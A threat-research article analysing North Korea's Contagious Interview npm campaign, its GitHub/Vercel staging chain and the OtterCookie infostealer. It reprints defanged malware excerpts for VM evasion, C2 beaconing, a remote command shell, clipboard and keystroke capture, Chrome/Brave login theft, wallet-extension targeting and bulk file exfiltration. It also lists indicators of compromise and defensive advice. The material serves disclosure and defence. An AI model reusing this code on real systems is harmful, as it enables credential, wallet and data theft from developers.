Inside the GitHub Infrastructure Powering North Korea's Contagious Interview npm Attacks

Socket Threat Research Team maps a rare inside look at OtterCookie's npm-Vercel-GitHub chain, adding 197 malicious packages and evidence of North Korea's Contagious Interview operation.

Nov 26, 2025

By Kirill Boychenko

The Socket Threat Research Team continues to track North Korea’s Contagious Interview operation as it systematically infiltrates the npm ecosystem. Since we last reported on this campaign, it has added at least 197 more malicious npm packages and over 31,000 additional downloads, with state-sponsored threat actors targeting blockchain and Web3 developers through fake job interviews and “test assignments”. This sustained tempo makes Contagious Interview one of the most prolific campaigns exploiting npm, and it shows how thoroughly North Korean threat actors have adapted their tooling to modern JavaScript and crypto-centric development workflows.

Within this recent wave of malicious npm packages, we documented a rare inside view of the GitHub infrastructure that underpins part of this activity. Tracing the malicious npm package tailwind-magic led us to a Vercel-hosted staging endpoint, tetrismic[.]vercel[.]app, and from there to a threat actor-controlled GitHub account, stardev0914, which contained 18 repositories. We credit Kieran Miyamoto of the DPRK Research blog (https://dprk-research.kmsec.uk/), whose observation about a related GitHub repository helped confirm and refine our pivot to this account.

Socket AI Scanner’s analysis of the malicious tailwind-magic npm package highlights security issues, including inconsistent metadata, and a hardcoded link to the GitHub repository https://github[.]com/stardev0914/tailwind-magic.git.

The repositories in the stardev0914 GitHub account form a coherent adversarial delivery stack: malware-serving code lives on GitHub, the latest payload is fetched from Vercel, and a separate command and control (C2) server handles data collection and tasking. At least five malicious npm packages, including tailwind-magic, tailwind-node, node-tailwind, node-tailwind-magic, and react-modal-select, rely on this infrastructure to deliver a second-stage payload.

Diagram of the analyzed Contagious Interview attack chain: a victim installs a malicious npm package that fetches a payload from a hardcoded Vercel URL, which in turn pulls code from a threat actor-controlled GitHub repository and executes the OtterCookie malware, establishing bidirectional C2 with the threat actor’s server for data theft and remote tasking.

The payload itself is a recent OtterCookie malware variant that blurs earlier distinctions between OtterCookie and BeaverTail. Once delivered, it performs VM and sandbox detection, fingerprints the host, and then establishes a long-lived C2 channel. From there it provides the threat actors with a remote shell, continuous clipboard theft, global keylogging, multi-monitor screenshot capture, and recursive filesystem scanning designed to harvest credentials, seed phrases, wallet data, and sensitive documents. It also targets Chrome and Brave profile data and a broad set of popular crypto-wallet browser extensions across Windows, macOS, and Linux, making it a combined infostealer and remote access tool tuned for draining digital assets and exfiltrating high-value secrets from developer systems.

Our analysis of the stardev0914 account also uncovered a constellation of repositories that act as delivery vehicles and lures. A repository named tailwind-magic mirrors the malicious npm package and serves as a typosquatted fork of the legitimate tailwind-merge library, modified to act as a loader for the payload staged at tetrismic[.]vercel[.]app. In addition, we analyzed repositories named after crypto-themed projects, including a cloned Knightsbridge DEX front-end (dexproject) wired to the malicious node-tailwind package, as well as numerous token- and DeFi-branded repositories used as lures.

Annotated GitHub view of the threat actor-controlled account stardev0914, highlighting some of the repositories: dexproject (cloned Knightsbridge DEX with malicious npm dependency), tetrismic (malware server delivering OtterCookie), several fake token lure sites (safutoken, laifubnb, spurdomeme), and tailwind-magic, a malware loader.

GitHub hosts polished but malicious or deceptive crypto projects, npm delivers loader packages that appear to be harmless utilities, Vercel stages the latest payload, and a separate C2 server quietly runs OtterCookie malware against compromised hosts. In this most recent wave of 197 packages since October 10, 2025, we confirmed that 15 malicious npm packages remain live at the time of writing and have reported them to the npm security team for blocking. Even though the stardev0914 account has been removed, the Contagious Interview campaign’s techniques persist and continue to evolve, with new npm infiltrations appearing weekly as North Korean operators bombard developers and tech job seekers with supply chain malware such as the OtterCookie family analyzed in this report.

Malicious npm Package

tailwind-magic is a typosquatted and backdoored clone of the legitimate tailwind-merge library. The code exported from dist/ behaves like a normal Tailwind class-merging utility, but a postinstall script executes src/lib/index.js, which uses axios to call the threat actor-controlled endpoint https://tetrismic[.]vercel[.]app/api/ipcheck and eval the returned JavaScript. This behavior turns the package into a remote loader that runs threat actor-supplied code at install time.

Socket AI Scanner’s analysis of the malicious tailwind-magic package highlights a backdoor that, on import, POSTs the local package version to the threat-actor endpoint https://tetrismic[.]vercel[.]app/api/ipcheck and evals the response, granting the threat actor arbitrary code execution with full Node.js process privileges.

Staging Server

The threat actors maintain a small staging server, developed in the GitHub repository github[.]com/stardev0914/tetrismic and deployed on Vercel at tetrismic[.]vercel[.]app. On each request, the server reads its local main.js payload and returns its contents in a JSON field named model. The malicious npm package extracts this field and executes it with eval() inside the victim’s Node.js process, turning the payload into live code on the host.

The threat actors split this infrastructure into three components. GitHub hosts the development repository. Vercel serves the current payload on demand. A separate C2 server receives data and issues tasks once the loader runs, which isolates operations. The npm package is the delivery vehicle that bridges developer environments and this backend. This separation lets the threat actors rotate payloads across multiple packages, customize responses per target, and keep their C2 infrastructure relatively quiet until the second stage is active.

GitHub Deployments view for the threat actor repository stardev0914/tetrismic (when it was live), showing 38 Vercel “Production” deployments used to continuously update the OtterCookie staging server that malicious npm loaders such as tailwind-magic query for their current JavaScript payload.

OtterCookie Malware Payload

The payload aligns with what NTT Security Japan SOC analysts Masaya Motoda and Rintaro Koike describe as OtterCookie version 4 in their excellent reporting. It also reflects the sharp analysis by Cisco Talos researchers Vanja Švajcer and Michael Kelley, who documented overlapping traits across BeaverTail and OtterCookie, blurring the boundary between the two malware families.

At a high level, the OtterCookie sample in this campaign operates as a multi-stage infostealer and remote access trojan (RAT) with capabilities including:

VM and sandbox checks plus host fingerprinting
C2 connection to register the infected host and request tasks
Interactive remote shell
Clipboard data exfiltration
System-wide keylogging
Multi-monitor screenshot capture
Recursive file-system search for secrets, wallets, and sensitive documents
Collection of browser credentials and wallet extension data from Chrome and Brave on Windows, macOS, and Linux

VM and Sandbox Detection; Initial C2 Beacon

The OtterCookie uses the setHeader() function to profile the host for virtualization before sending its first request to the C2 server. The code snippets in this section and below are taken directly from the threat actor-controlled stardev0914 GitHub repository, with indicators defanged and inline comments added by Socket for clarity.

setHeader() implements VM and sandbox checks:

Windows: executes wmic computersystem get model,manufacturer and flags systems whose output contains vmware, virtualbox, microsoft corporation, or qemu
macOS: runs system_profiler SPHardwareDataType and scans the hardware profile for common virtualization vendors
Linux: parses /proc/cpuinfo for hypervisor strings such as vmware, virtualbox, kvm, or xen

These checks help the malware avoid analyst sandboxes and prioritize victim environments before it beacons out.

  
// VM, sandbox check, and initial C2 beacon
const setHeader = async function () {
  try {
    let isVM = false;

    if (os.platform() == "win32") {

      // Windows: check model/manufacturer for VM vendors
      let output = execSync("wmic computersystem get model,manufacturer", { windowsHide: true });
      output = output.toString().toLowerCase();
      if (output.includes("vmware") ||
          output.includes("virtualbox") ||
          output.includes("microsoft corporation") ||
          output.includes("qemu")) {
        isVM = true;
      }

    } else if (os.platform() == "darwin") {

      // macOS: inspect hardware profile for virtualization markers
      let output = execSync("system_profiler SPHardwareDataType", { windowsHide: true });
      output = output.toString().toLowerCase();
      if (/vmware|virtualbox|qemu|parallels|virtual/i.test(output)) isVM = true;

    } else if (os.platform() == "linux") {

      // Linux: scan /proc/cpuinfo for hypervisor strings
      let output = fs.readFileSync("/proc/cpuinfo", "utf8").toLowerCase();
      if (/hypervisor|vmware|virtio|kvm|qemu|xen/i.test(output)) isVM = true;
    }

    // Send host fingerprint and VM flag to C2
    const result = await axios.post(
      "http://144[.]172[.]104[.]117:5918/api/service/process/" + uid,
      {
        OS:       os.type(),
        platform: os.platform(),
        release:  os.release() + (isVM ? " (VM)" : " (Local)"),
        host:     os.hostname(),
        userinfo: os.userInfo(),
        uid,
        t: 66
      }
    );

    // C2 tells client to stop if flagged as VM
    if (result.data && result.data.release.includes("(VM)")) {
      return false;
    } else {
      return true;
    }

  } catch (e) {
    console.log(e.message);
    return true;
  }
}

Payload Orchestration

Once the environment checks pass, the malware hands execution to main(), which coordinates the long-running payload components. main() first calls setHeader(); if the C2 response or VM checks indicate a sandbox, it exits, otherwise it invokes s(), which in turn launches three asynchronous workers: ss(), aa(), and bb().

ss() — clipboard theft, interactive remote shell, and persistence
aa() — browser credential collection and wallet extension data theft
bb() — keylogging, screenshot capture, and filesystem scanning / exfiltration

Each worker runs as a separate, detached Node.js process spawned via child_process.spawn('node', ['-e', code], { detached: true, stdio: 'ignore', windowsHide: true }) and then unref()ed, so these processes continue running in the background even after the initial loader exits.

Clipboard Theft, Interactive Remote Shell, and Windows Persistence

ss() builds a hex-escaped payload string, decodes it, and executes it in a detached Node.js process:

  
// Excerpt from ss(): clipboard stealer and remote command backdoor
// Every 5s: read clipboard and POST { uid, clip, hostname } to /clip
// Every 10s: poll /command?uid=<uid>, exec returned command, POST { uid, command, output, hostname } to /output

const axios = require("axios");
const os = require("os");
const fs = require("fs");
const {spawn, execSync} = require("child_process");
const uid = "4a3703430a2ec2ae30f362b29e994f77";

setInterval(() => {
  let clip;
  const hostname = os.hostname();

  // OS-specific clipboard read
  if (os.platform() === "win32") {
    clip = execSync("powershell -command Get-Clipboard", { encoding: "utf8", windowsHide: true });
  } else if (os.platform() === "darwin") {
    clip = execSync("pbpaste", { encoding: "utf8" });
  } else {
    clip = execSync("xclip -selection clipboard -o", { encoding: "utf8", windowsHide: true });
  }

  // Clipboard exfiltration: /clip endpoint
  axios.post(`http://${a}.${b}.${c}.${d}:${p}/clip`, { uid, clip, hostname })
       .catch(err => console.error("Clipboard post error:", err.message));
}, 5000); // 5 seconds

setInterval(async () => {
  try {

    // Poll C2 for commands for this uid
    const response = await axios.get(`http://${a}.${b}.${c}.${d}:${p}/command?uid=` + uid);
    const command = response.data.command;

    if (command) {
      let output;
      const hostname = os.hostname();

      // Execute arbitrary command from C2
      try {
        output = execSync(command, { encoding: "utf8", windowsHide: true });
      } catch (err) {
        output = "Error executing command: " + err.message;
      }

      // Send command output back to C2
      await axios.post(
        `http://${a}.${b}.${c}.${d}:${p}/output`,
        { uid, command, output, hostname }
      );
    }
  } catch (err) {
    console.error("Remote shell error:", err.message);
  }
}, 10000); // 10 seconds

It also establishes persistence on Windows:

Adds a Run entry HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "NodeHelper"
Creates a scheduled task NodeUpdate to run node <dir>\\index.js at logon with highest privileges

Together, these mechanisms provide a persistent backdoor on compromised Windows hosts.

Browser and Wallet Credential Theft

aa() constructs the following Node.js payload and runs it in a separate process:

  
const os = require('os');
const fs = require('fs');
const path = require('path');
const sqlite3 = require('sqlite3').verbose();
const FormData = require('form-data');
const axios = require('axios');

// C2 endpoints for browser data exfiltration
const uploadUrl = "http://144[.]172[.]104[.]117:5918/upload";
const uu        = "http://144[.]172[.]104[.]117:5918/total";
let i           = <current counter>;

const getBasePaths = () => {
  const platform = process.platform;
  if (platform === "win32") {
    return [
      path.join(process.env.LOCALAPPDATA, "Google/Chrome/User Data"),
      path.join(process.env.LOCALAPPDATA, "BraveSoftware/Brave-Browser/User Data"),
    ];
  } else if (platform === "darwin") {
    return [
      path.join(process.env.HOME, "Library/Application Support/Google/Chrome"),
      path.join(process.env.HOME, "Library/Application Support/BraveSoftware/Brave-Browser"),
    ];
  } else if (platform === "linux") {
    return [
      path.join(process.env.HOME, ".config/google-chrome"),
      path.join(process.env.HOME, ".config/BraveSoftware/Brave-Browser"),
    ];
  }
  return [];
};

Targeted wallet extension IDs:

  
const wps = [
  "acmacodkjbdgmoleebolmdjonilkdbch", // Keplr
  "nkbihfbeogaeaoehlefnkodbefgpgknn", // MetaMask
  "bfnaelmomeimhlpmgjnjophhpkkoljpa", // Phantom
  "ibnejdfjmmkpcnlpebklmnkoeoihofec", // Binance Chain
  "ppbibelpcjmhbdihakflkdcoccbgbkpo", // Core Wallet
  "omaabbefbmiijedngplfjmnooppbclkk", // Tonkeeper
  "egjidjbpglichdcondbcbdnbeeppgdph", // Trust
  "khpkpbbcccdmmclmpigdgddabeilkdpd", // XDEFI
  "dmkamcknogkgcdfhhbddcghachkejeap", // Brave
  "ejbalbakoplchlghecdalmeeeajnimhm", // Bitget
  "fhbohimaelbohpjbbldcngcnapndodjp", // MetaMask Beta
  "aeachknmefphepccionboohckonoeemg", // Ronin
  "hifafgmccdpekplomjjkcfgodnhcellj", // Terra
  "jblndlipeogpafnldhgmapagcccfchpi", // Nami
  "dlcobpjiigpikoobohmabehhmhfoodbb", // Solflare
  "mcohilncbfahbmgdjkbpemcciiolgcge", // Binance
  "agoakfejjabomempkjlepdflaleeobhb", // Martian
  "aholpfdialjgjfhomihkjbmgioiodbic", // Petra
  "nphplpgoakhhjchkkhmiggakijnkhfnd", // Safepal
  "penjlddjkjgpnkllboccdgccekpkcbin", // Suiet
  "lgmpcpglpngdoalbgeoldeajfclnhafa", // Fewcha
  "fldfpgipfncgndfolcbkdeeknbbbnhcc", // Clover
  "bhhhlbepdkbapadjdnnojkbgioiodbic", // Pontem
  "gjnckgkfmgmibbkoficdidcljeaaaheg", // Unisat
  "afbcbjpbpfadlkmhmclhkeeodmamcflc", // WalletConnect
  "bdgmdoedahdcjmpmifafdhnffjinddgc", // Bittensor
  "hnfanknocfeofbddgcijnmhnfnkdnaad", // Coinbase
  "acmacodkjbdgmoleebolmdjonilkdbch", // Rabby (duplicate ID)
];

Browser logins:

  
// Extract stored Chrome/Brave login entries from a profile path
const extractBrowserData = (profilePath) => {

  // SQLite DB file holding saved logins for this profile
  const loginDataPath = path.join(profilePath, 'Login Data');
  const extractedData = [];

  // No credential DB for this profile
  if (!fs.existsSync(loginDataPath)) return extractedData;

  // Open browser login database in read-only mode
  const db = new sqlite3.Database(loginDataPath, sqlite3.OPEN_READONLY, ...);

  return new Promise((resolve) => {

    // Pull url / username / password blobs from the logins table
    db.all('SELECT origin_url, username_value, password_value FROM logins',
      (err, rows) => {
        if (!err) {
          rows.forEach(row => {
            extractedData.push({
              url:      row.origin_url,
              username: row.username_value,
              password: row.password_value
            });
          });
        }
        db.close();
        resolve(extractedData);
      }
    );
  });
};

Once the npm loader evals main.js on the victim, the script immediately communicates to C2 and initializes the core payload modules. It:

Registers the host and sends a full fingerprint to http://144[.]172[.]104[.]117:5918/api/service/process/{uid}.
If the C2 response allows execution, launches three parallel modules: clipboard stealer and interactive remote shell; keylogger, screenshot capture, and recursive secret/file search; and Chrome/Brave credential theft and wallet extension data exfiltration.

All C2 traffic goes to 144[.]172[.]104[.]117.

Keylogger, Screenshots, Filesystem Scan, and Mass Exfiltration

bb() constructs another Node.js payload and launches it in a separate, detached process:

  
const fs    = require('fs');
const path  = require('path');
const axios = require('axios');
const os    = require('os');

// Global counters and flags for this module
let screenshotCounter = 0;
let totalFiles        = 0;
let listenerAdded     = false;

// Filename patterns used to hunt secrets, wallets, and sensitive documents
const searchKey = [
  "*.env*", "*metamask*", "*phantom*", "*bitcoin*", "*trust*",
  "*phrase*", "*secret*", "*phase*", "*credential*", "*account*", "*mnemonic*",
  "*seed*", "*recovery*", "*backup*", "*address*", "*keypair*", "*wallet*",
  "*my*", "*screenshot*",
  "*.doc*", "*.docx*", "*.pdf*", "*.rtf*", "*.odt*",
  "*.xls*", "*.xlsx*", "*.txt*", "*.ini*", "*.secret*", "*.json*", "*.ts*",
  "*.js*", "*.csv*"
];

// Directories and system files to skip during recursive search
const excludeFolders = [
  'node_modules','Windows','Program Files','Program Files (x86)',
  'System Volume Information','$Recycle.Bin','AppData','.cache',
  'Recovery','pagefile.sys','hiberfil.sys','swapfile.sys','Thumbs.db',
  // and many more (directories, system files) not included in this code snippet
];

// Case-insensitive match against simple *substring* patterns
const isFileMatching = (fileName) => {
  const lowerFileName = fileName.toLowerCase();
  return searchKey.some(pattern => {
    const lowerPattern = pattern.toLowerCase();
    if (lowerPattern.startsWith('*') && lowerPattern.endsWith('*')) {
      const core = lowerPattern.slice(1, -1);
      return lowerFileName.includes(core);
    }
  });
};

// Delay initialization of keylogging, screenshot, file-search module
setTimeout(() => {
  try {

    // Load keylogging, screenshot, image, and upload helpers
    const GlobalKeyboardListener = require("module-listener").GlobalKeyboardListener;
    const { Monitor }            = require("node-screenshots");
    const sharp                  = require("sharp");
    const FormData               = require("form-data");

    const keyStates = {};
    let capsLock    = false;
    const tmpDir    = os.tmpdir();
    const keyboard  = new GlobalKeyboardListener();
    let text        = "";
    let shift       = false;
    let ctrl        = false;
    let isRunning   = true;

    const uu = "http://144[.]172[.]104[.]117:5918/total";
    // C2 endpoint for transfer

This scans entire disks / mount points looking for files whose names look like secrets, wallets, sensitive documents, configs, etc., and uploads matching files to /total.

Keylogger:

  
const sendKeyText = async () => {
  if (text.trim() === "") return;
  const form = new FormData();
  form.append("text", text);
  await axios.post(uu, form, {
    headers: {
      ...form.getHeaders(),
      userkey: 1995,
      hostname: os.hostname(),
      t: "66"
    }
  });
  text = "";
};

const addKeyboardListener = () => {
  if (listenerAdded) return;
  listenerAdded = true;

  keyboard.addListener(function (e, down) {
    if (!isRunning) return;
    // Tracks shift/ctrl/caps lock etc, builds readable string
    // Calls sendKeyText() on ENTER / LBUTTON etc.
  });
};

It uses GlobalKeyboardListener from module-listener / node-global-key-listener to capture system-wide keystrokes and periodically send them to http://144[.]172[.]104[.]117:5918/total with userkey: 1995 and the host name in HTTP headers.

Filesystem crawler and file exfiltration:

  
const uf = async (p) => {

  // Upload a single file to C2 as multipart / form-data
  if (fs.statSync(p).isFile()) {
    const form = new FormData();
    form.append("file", fs.createReadStream(p));

    await axios.post(uu, form, {
      headers: {
        ...form.getHeaders(),
        userkey: 1995,           // Static implant ID
        hostname: os.hostname(), // Host identifier
        t: "66"                  // Fixed campaign/tag value for this implant
      }
    });
  }
};

const scanDir = async (dir) => {
  // Recursively walk dir, skip excludeFolders, and exfil matching files
};

const scanFullSystem = async () => {
  const rootDrives = [];

  if (process.platform === 'win32') {
    // Enumerate existing drive letters A:\ .. Z:\
    // and treat each as a root for scanning
  } else {

    // Unix-like: scan / plus common mount points
    rootDrives.push('/');
    const mounts = ['/mnt', '/media', '/Volumes', '/home'];
    mounts.forEach(m => fs.existsSync(m) && rootDrives.push(m));
  }

  // Traverse each root and apply recursive file search and upload
  for (const root of rootDrives) await scanDir(root);
};

Screenshots:

  
const captureScreenshots = async () => {
  const monitors = await Monitor.getAllDisplays();
  // Enumerate all attached displays

  // Grab per-monitor frames and merge into a single composite image buffer
  const screenshotPath = path.join(tmpDir, 'screenshots', `screenshot${screenshotCounter++}.jpeg`);
  fs.writeFileSync(screenshotPath, combinedImage);
  // Write composite JPEG to temp folder

  await uf(screenshotPath); // Exfil combined screenshot via upload endpoint
};

The module performs continuous keylogging, multi-monitor screenshot capture, and large-scale file exfiltration across the compromised system.

Crypto-Themed Repositories Used for Malicious Delivery and Lures

Repository `dexproject`

Contagious Interview threat actors used the dexproject repository in their stardev0914 GitHub account as a carrier for the malicious npm package node-tailwind. The repository presents as a standard DEX front-end template: the application code looks normal, but installing its dependencies pulls in a malicious package.

Socket AI Scanner’s analysis of the malicious node-tailwind package highlights its supply-chain risk, flagging it as known malware with 0% supply chain security and unstable ownership (a new collaborator publishing versions). At the time of writing, this package remains live on npm, but we have reported it to the npm security team for blocking.

dexproject is a cloned Knightsbridge site and effectively a Knightsbridge/KXCO-branded DEX front-end wired to node-tailwind, so it looks like a legitimate Knightsbridge DEX while acting as a supply chain delivery vehicle. The branding and metadata masquarade as “Knightsbridge DEX / KXCO”, with clear copy-paste artifacts and deployment to knightsbridge-dex[.]vercel[.]app, but the UI is purely presentational: buttons do not invoke contracts, and the source contains no router or factory addresses.

The key malicious element is the node-tailwind npm package. Instead of using a standard utility such as tailwind-merge, the project imports node-tailwind into a cn() helper in src/lib/utils.ts and then calls cn() for className construction across the component tree, ensuring the malicious dependency is loaded and executed wherever the template is used.

  
// src/lib/utils.ts
import { clsx } from "clsx";
// Malicious helper imports backdoored node-tailwind package

import { nodeTailwind } from "node-tailwind";

export function cn(...inputs: ClassValue[]) {
  // Wrap clsx output so all class merging flows through nodeTailwind (malicious hook point)
  return nodeTailwind(clsx(inputs));
}

Screenshot of the Knightsbridge/KXCO-branded DEX front end hosted at knightsbridge-dex[.]vercel[.]app, which Contagious Interview threat actors cloned and used as a presentational lure while wiring the underlying template to the malicious node-tailwind npm dependency.

Repository `tailwind-magic`

The tailwind-magic repository backs a malicious namesake npm package that typosquats and impersonates the legitimate tailwind-merge library. The exported API behaves like a normal Tailwind class-merging helper so it blends into existing React and Vite workflows.

The package’s main module (index.js) embeds an import-time loader that runs automatically whenever the package is loaded, contacts tetrismic[.]vercel[.]app, and executes the JavaScript returned by the server. In practice, this turns tailwind-magic into a remote loader for the tetrismic C2-hosted OtterCookie malware: any project that imports the package executes threat actor-controlled code with full Node.js privileges.

Other repositories in the stardev0914 account serve primarily as bait. They give the Contagious Interview threat actors plausible GitHub projects and live demo sites to showcase in a fake portfolio. A recruiter persona can point targets to these repositories with instructions like “here’s the project our team is building; please make a small change to it”, turning otherwise benign-looking templates into delivery vectors for malware.

Outlook and Recommendations

This wave reinforces Contagious Interview as a systematic, factory-style operation that treats npm, GitHub, and Vercel as a combined, renewable initial access channel. In this latest cluster, we observed a full stack: multiple loader packages, a Vercel-hosted stager, and a threat actor-controlled GitHub account serving OtterCookie malware.

Since October 10, 2025, the campaign has pushed 197 more malicious packages. Even though the stardev0914 account has been removed, the threat actors’ techniques are intact and already reappearing in new accounts, with fresh npm infiltrations emerging weekly.

Defenders should harden the specific points where this campaign succeeds:

Treat every npm install as remote code execution.
Lock down CI runners and build agents so they do not have direct access to production keys and secrets, wallets and signing keys, or cloud administration interfaces.
Apply network egress controls to block build-time connections to unexpected hosts.
Require code review for new templates pulled from GitHub, especially in Web3 and DeFi contexts.
Scrutinize non-standard utility packages wired into global helpers that are used across the codebase.
Pin dependency versions and use lockfiles, and avoid unpinned, auto-updating dependencies wherever possible.

Organizations should also integrate automated package analysis into their development workflow. Run real-time PR and dependency scanning to catch behaviors such as import-time loaders, eval on network responses, cross-platform keyloggers, and bulk filesystem exfiltration before these behaviors ever land on developer machines or CI systems.

Done well, this turns code review and dependency onboarding into enforcement points where Contagious Interview-style campaigns can be stopped long before malware executes in builds or wallets, especially when combined with automated tooling.

Socket’s GitHub App inspects dependencies during review, while the Socket CLI applies behavior-level checks at install time. Socket Firewall blocks known malicious packages before the package manager fetches them, including transitive dependencies, by mediating dependency requests. The Socket browser extension warns developers about suspicious packages while they browse registries, and Socket MCP extends similar protections into AI-assisted coding by detecting and flagging malicious or hallucinated packages in LLM suggestions.

MITRE ATT&CK

T1583.001 — Acquire Infrastructure: Domains
T1583.006 — Acquire Infrastructure: Web Services
T1585 — Establish Accounts
T1587 — Develop Capabilities
T1587.001 — Develop Capabilities: Malware
T1608.001 — Stage Capabilities: Upload Malware
T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
T1059.007 — Command and Scripting Interpreter: JavaScript
T1204.002 — User Execution: Malicious File
T1204.005 — User Execution: Malicious Library
T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
T1546.016 — Event Triggered Execution: Installer Packages
T1036 — Masquerading
T1497 — Virtualization/Sandbox Evasion
T1656 — Impersonation
T1056.001 — Input Capture: Keylogging
T1539 — Steal Web Session Cookie
T1555.001 — Credentials from Password Stores: Keychain
T1555.003 — Credentials from Password Stores: Credentials from Web Browsers
T1082 — System Information Discovery
T1083 — File and Directory Discovery
T1217 — Browser Information Discovery
T1005 — Data from Local System
T1113 — Screen Capture
T1115 — Clipboard Data
T1119 — Automated Collection
T1105 — Ingress Tool Transfer
T1571 — Non-Standard Port
T1041 — Exfiltration Over C2 Channel
T1657 — Financial Theft

Indicators of Compromise (IOCs)

Malicious npm Packages Linked to Tetrismic C2

GitHub Account

github[.]com/stardev0914

stardev0914 GitHub Repositories

tetrismic
tailwind-magic
dexproject
etherchainai
snortertoken
protocolai
pepeheimer
futuresyncx
captainpepe
safutoken
laifubnb
spurdomeme
aptober
snoopybnb.wtf
stakesnoopy.wtf
claim.snoopybnb.wtf
agent.snoopybnb.wtf
bestwallet

C2 Infrastructure

tetrismic[.]vercel[.]app
https://tetrismic[.]vercel[.]app/api/ipcheck
knightsbridge-dex[.]vercel[.]app
144[.]172[.]104[.]117
144[.]172[.]104[.]117:5918
http://144[.]172[.]104[.]117:5918/api/service/process
http://144[.]172[.]104[.]117:5918/command
http://144[.]172[.]104[.]117:5918/output
http://144[.]172[.]104[.]117:5918/clip
http://144[.]172[.]104[.]117:5918/total
http://144[.]172[.]104[.]117:5918/upload

Malicious npm Packages Since October 10, 2025

npm Aliases

abigailzebrairses36717
alex9901
alex9902
allenhand
appleseed123123
asd99388488
avaaz_aleaanwvk05883
b22993172
bizownership018
blakegon_zalezeamuh10473
blaziyistan
bookcats1
borgdan0818
brandon_mistycqbcr0601
brightfuturescompany08462
brimstoneinkwellwugke
bryceprojects78322
btwininvest02417
bzuinvestorsclub82574
charlieaffiliates22177
cheaphomeseller55358
chicagomrreid01317
citylivingagent99587
crimson72489
cygnu_sonyxxzbek89014
danielle_quaranta3
dataflight38629
daveysellshomes47484
dawsonspaces08839
dazzlebitcorp62317
dealmakersclub92647
devonventureinvest81368
dhruvishah05828
digitalhomesales97117
dkiem
dmitrypetrov71155
edisonrippin
elitecapitalgroup08563
emmahousingexpert87469
emmawills02165
erbanfceraswud8px
eurekasales07505
evergreenrealtyteam12469
evergreenrealtor59192
fasttrackhomes22444
firstchoicepropertyagent00182
frostlangleyzmmvy
futuregrowthhooger00277
futurehousefinder62139
greenhousebuyersclub77084
greenviewagent00541
harborviewproperty07246
henrylynbunnh
homedealconnect81891
homelynestsales49339
homesearchpro99483
homesolutionsnow95843
horizonpropertyteam88973
househunterpro12888
investcereal91863
investdreamz34518
investgrowthplanner16529
jasonhomesales01207
johnmarston39482
jonathonff1010
kevinspace09495
keycityagent64977
keycityrealtor98521
keystonenas
khardenjenna
kievrelationmanager07992
knightjenkinsybtec
krauszsenff3pkphh
kukuru423
landmarkhomesconsult33423
landscapeinvestor00913
lauradrwh
lendingcrafters51867
leowestbcqni016
lillihousingagent83183
lisaselingreen56157
londonhomesmartagent36691
londonpropertyagent33861
londonpropertyguide27011
luxuryhomebroker77429
luxuryprimeagent11914
maggiehomes68871
mariastanfordakchz04029
maximvaluehousings17477
metronewhomes21319
metropropertiesadvisor00082
metropolitanhomesguide99492
miamihouseconnect44257
miroinvestmentstudio04977
modernhomerealtor49536
modernspacesrealty29477
mohammedas
nataliastashkiv.bs
newcitydealers94317
newcityhomeadv90451
newheightsrealtor83727
newhousenexus82253
newleafapartment50743
newprimehomes70695
newskyrealestate29771
nextlevelproperties84193
nexthomeadviser68116
oakwoodpropertyteam97341
opalqwntfqqp7270
openhouserealestateagent27183
palmhouserealestate02758
pascaldev
peaksummitproperty81546
peterandr345
peterwood0912
ponbok20251123
premierhouseagent68861
primehomesconnect12973
primekeyrealtor09471
primelocationagent63672
prorealtyguide02229
propertyadvisor36515278
propertyconsultant48888
propertygatewayexpert36994
propertylistingexpert84712
rapidhomebuyer24518
realestateadvancer05390
realestateconsult11470
realestateconsultant78941
realestateguidelily27361
realestatepartnerz02814
realestorxpress23477
reddix505
reedfowlerccouj
ricardoat1010
richlandhousingsolutions81845
richmondhomesales42214
riverfrontproperties90177
riverstoneagent17563
rocksolidestate93364
rooflinerealtor00821
rootedlandagents77219
royalestateconnect43449
seasidehomesrealtor29486
seasideviewrealtor08465
seattlecityrealtor42890
silvercityproperty05525
silverlineproperty64209
skylinehomeadvisor14961
skylinehousesales62474
smartchoicehousing24861
smartcityhomes87496
smartkeyhomes00728
solidinvestments05572
solidpropertyadvisor33345
springtownhomes83379
stardev0914
suburbanhomeconnect16179
summitpropertyagent07717
sunnyvaleproperty44162
sunnyviewhomes49110
thecityhomesales97011
tomas510727
topchoicehomesconsult55882
topflite4
topflite5
topkeyrealestate99241
urbanhomefinder35266
urbanlivingteam00074
urbanpropertyguide43812
valleyhomesguide14195
victor510
vitalcityhomes22591
vrindalseth
westfieldhomeagent66414
yorktownhomesales08111

Email Addresses

abigailzebrairses36717@outlook[.]com
alexander0110825@outlook[.]com
allenhand0101@outlook[.]com
alphabrownsapon70555@hotmail[.]com
amelievolcanobquvq06786@hotmail[.]com
avaazaleaanwvk05883@outlook[.]com
b22993172@gmail[.]com
bba719771@gmail[.]com
bizownership018@gmail[.]com
blakegonzalezeamuh10473@hotmail[.]com
blaziystankw1lcf@hotmail[.]com
bookcats1@freyaglam[.]shop
borgdandeco@gmail[.]com
brandonmistycqbcr06016@hotmail[.]com
brightfuturescompany08462@outlook[.]com
bryceprojects78322@hotmail[.]com
btwininvest02417@hotmail[.]com
bzuinvestorsclub82574@hotmail[.]com
charlieaffiliates22177@gmail[.]com
cheaphomeseller55358@gmail[.]com
chicagomrreid01317@gmail[.]com
citylivingagent99587@gmail[.]com
crimson72489@yahoo[.]com
cygnusonyxxzbek89014@gmail[.]com
daniellequaranta3@yahoo[.]com
dataflight38629@gmail[.]com
daveysellshomes47484@gmail[.]com
dawsonspaces08839@gmail[.]com
dazzlebitcorp62317@gmail[.]com
dealmakersclub92647@outlook[.]com
devonventureinvest81368@gmail[.]com
dhruvishah05828@outlook[.]com
digitalhomesales97117@gmail[.]com
dmitrypetrov71155@outlook[.]com
elitecapitalgroup08563@gmail[.]com
emmahousingexpert87469@gmail[.]com
emmawills02165@gmail[.]com
eurekasales07505@gmail[.]com
evergreenrealtyteam12469@gmail[.]com
evergreenrealtor59192@gmail[.]com
fasttrackhomes22444@gmail[.]com
firstchoicepropertyagent00182@gmail[.]com
frostlangleyzmmvy94489@outlook[.]com
futuregrowthhooger00277@gmail[.]com
futurehousefinder62139@gmail[.]com
gddavila.tomas510727@outlook.com
greenhousebuyersclub77084@gmail[.]com
greenviewagent00541@gmail[.]com
harborviewproperty07246@gmail[.]com
henrylynbunnh91@hotmail[.]com
homedealconnect81891@gmail[.]com
homesearchpro99483@gmail[.]com
homesolutionsnow95843@gmail[.]com
